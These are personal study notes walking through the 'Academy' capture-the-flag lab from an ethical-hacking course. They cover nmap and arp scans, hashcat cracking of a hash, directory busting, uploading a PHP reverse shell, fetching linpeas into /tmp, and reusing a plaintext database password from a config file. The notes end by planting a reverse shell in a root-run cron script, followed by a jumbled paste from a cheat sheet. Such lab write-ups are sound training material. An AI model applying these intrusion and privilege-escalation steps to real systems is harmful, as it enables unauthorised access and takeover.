

Academy Walkthrough From Heath

1.

Arp Scan + NMAP Scan:

```
(kali㉿kali)-[~/Desktop/PracticalEthicalKacker/Mid-Capstone/Academy]
$ cat target_ip.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b8:6e:5b, IPv4: 192.168.163.133
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.163.1    00:50:56:c0:00:08    VMware, Inc.
192.168.163.2    00:50:56:fa:89:5f    VMware, Inc.
192.168.163.134 00:0c:29:a2:c1:e6    VMware, Inc.
192.168.163.254 00:50:56:f9:21:3e    VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.996 seconds (128.26 hosts/sec). 4 responded
```

```
(kali㉿kali)-[~/Desktop/PracticalEthicalKacker/Mid-Capstone/Academy]
$ sudo nmap -T4 -A -p- 192.168.163.134 -oN academy_nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-07 15:17 EDT
Nmap scan report for 192.168.163.134
Host is up (0.00041s latency).

Nmap done: 1 IP address (1 host up) scanned in 9.84 seconds
```

On an assessment, we want to brute force SSH. We need to see if we can log in an admin or known account with a weak password. Second, we need to see if the blue team can pick us up. Can they detect our brute force scan? It is important to test the systems in place to make sure they are working.

Everything that was not meant to be there needs to be reported, so client can improve.

Another

Heath starts this one with FTP. Nmap picked up anonymous login and ".txt" file in FTP server, and that is interesting. We can go retrieve the file, but that is pretty much it for the service.

The reason we do not have much else to do after retrieving the file is because we do not know where this file we retrieved is being stored on the target. If it was being stored under the Apache website files, maybe we could execute it through http by requesting its path (i.e.

http://target_ip_address/academy/note.txt), but that is not the case here. So, if we could navigate through the Apache server website to the note.txt file, then we could potentially exploit it.

Heath use "#hash-identifier" built-in tool in kali, paste the hash found in the note.txt file, and it identifies the hash type.

Then, uses "#hashcat" command to brute force it.

In order to brute force with hashcat, we need to save the password hash in a ".txt" file, so we can reference that when we run the hashcat tool.

```
(root@kali) - [~]  
# hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt  
hashcat (v6.1.1) starting...
```

To bust directories, here, he uses:

"#dirb http://target_ip_address"

Also,

"#ffuf -w /path/to/wordlist.txt:FUZZ -u http://target_ip_address/FUZZ"

Ffuf is pretty fast, but only finds first level directories.

Search online for more Directories Busting Tools.

We can right click on the image, and try to load in a separate page to see if payload gets executed.

Open netcat listener. (-nvlp)

Then, upload a malicious php-reverse-shell from pentestMonkey.

Reverse shell gets executed automatically.

-Privilege escalation time:

When we try to run "#sudo -l" to list commands we can run with sudo, and we get error message saying "sudo: not found", then the next step would be to try to locate the sudo command.

We can try:

"#which sudo"

"#locate sudo"

If no location is returned, we move on to the next vector.

At this point, nothing comes back, so he pulls up "linpeas" to the target machine. It is an automated tool for privilege escalation in Linux.

We can copy and paste it in a ".sh" file, and then upload to the "tmp" folder of the target. The "tmp" folder is usually a good one to "#wget".

It is possible to find linpeas here: "<https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh>". (<http://michalszalkowski.com/security/linpeas/>)

It is a big f#!@* script, and I had no idea that it was real. Very Fudging nice.

After we "wget" the file in the target, we need to make it executable. So, we need to run:

"#chmod +x linpeas.sh"

Then,

"#./linpeas.sh"

There are colors splitting the data from critical to less critical:

```
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
```

$mysql_database = "onlinecourse";
$dbd = mysqli_connect($mysql_hostname, $mysql_user, $mysql_password, $mysql_database) or die("Could not connect database");

??
$ cat /var/www/html/academy/includes/config.php
<?php
$mysql_hostname = "localhost";
$mysql_user = "grimmie";
$mysql_password = "My_V3ryS3cur3_P4ss";
$mysql_database = "onlinecourse";
$dbd = mysqli_connect($mysql_hostname, $mysql_user, $mysql_password, $mysql_database) or die("Could not connect database");

??
$
```

I tried the credentials in the admin page of the website, but it did not work. Then, after Heath read the "/etc/passwd" file, I figured that password is for the local user "grimmie".

```
?>
$ su grimmie
Password: My_V3ryS3cur3_P4ss

id
uid=1000(grimmie) gid=1000(administrator) groups=1000(administrator),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
whoami
grimmie
```

Heath tries to connect to ssh as soon as he sees "grimmie" is a username on the local machine.

```
(kali@kali)-[~/PracticalEthicalKacker/Mid-Capstone/Academy/transfer]
$ ssh grimmie@192.168.163.134

^CExiting program... (interrupt)
grimmie@academy:/tmp$

```

The script in the "grimmie" home folder is executing periodically, and it is being run by UID=0, which is root User ID (UID). This means that if we can edit the file, when the job runs, it is going to spam an root shell.

Lets abuse this.

Now, we can modify the backup.sh file in "grimmie" home folder.

Bash reverse shell: "<https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#bash-tcp>"

"<https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>"

Open the netcat listener.(-nlvp)

Edit the "backup.sh" file in "grimmie" home folder, and include the bash reverse shell, save the file, and in no moment we have a root shell.

```
L$ nc -nvlp 8081

Reverse Shell

If you're lucky enough to find a reverse shell, you probably want an interactive shell.

If it's not possible to add a reverse shell, you can back a reverse shell or bind a reverse shell.

Your options for creating a reverse shell are: you could probably upload a binary or a script.

The examples shown are tail, but you can use substitute "bin/sh -i" with "perl -e 'exec "/bin/sh -i'".

Each of the methods below is a reverse shell, but very readable.

Bash

Some versions of bash can be used to create a reverse shell.

[Reverse Shell](#)

PERL
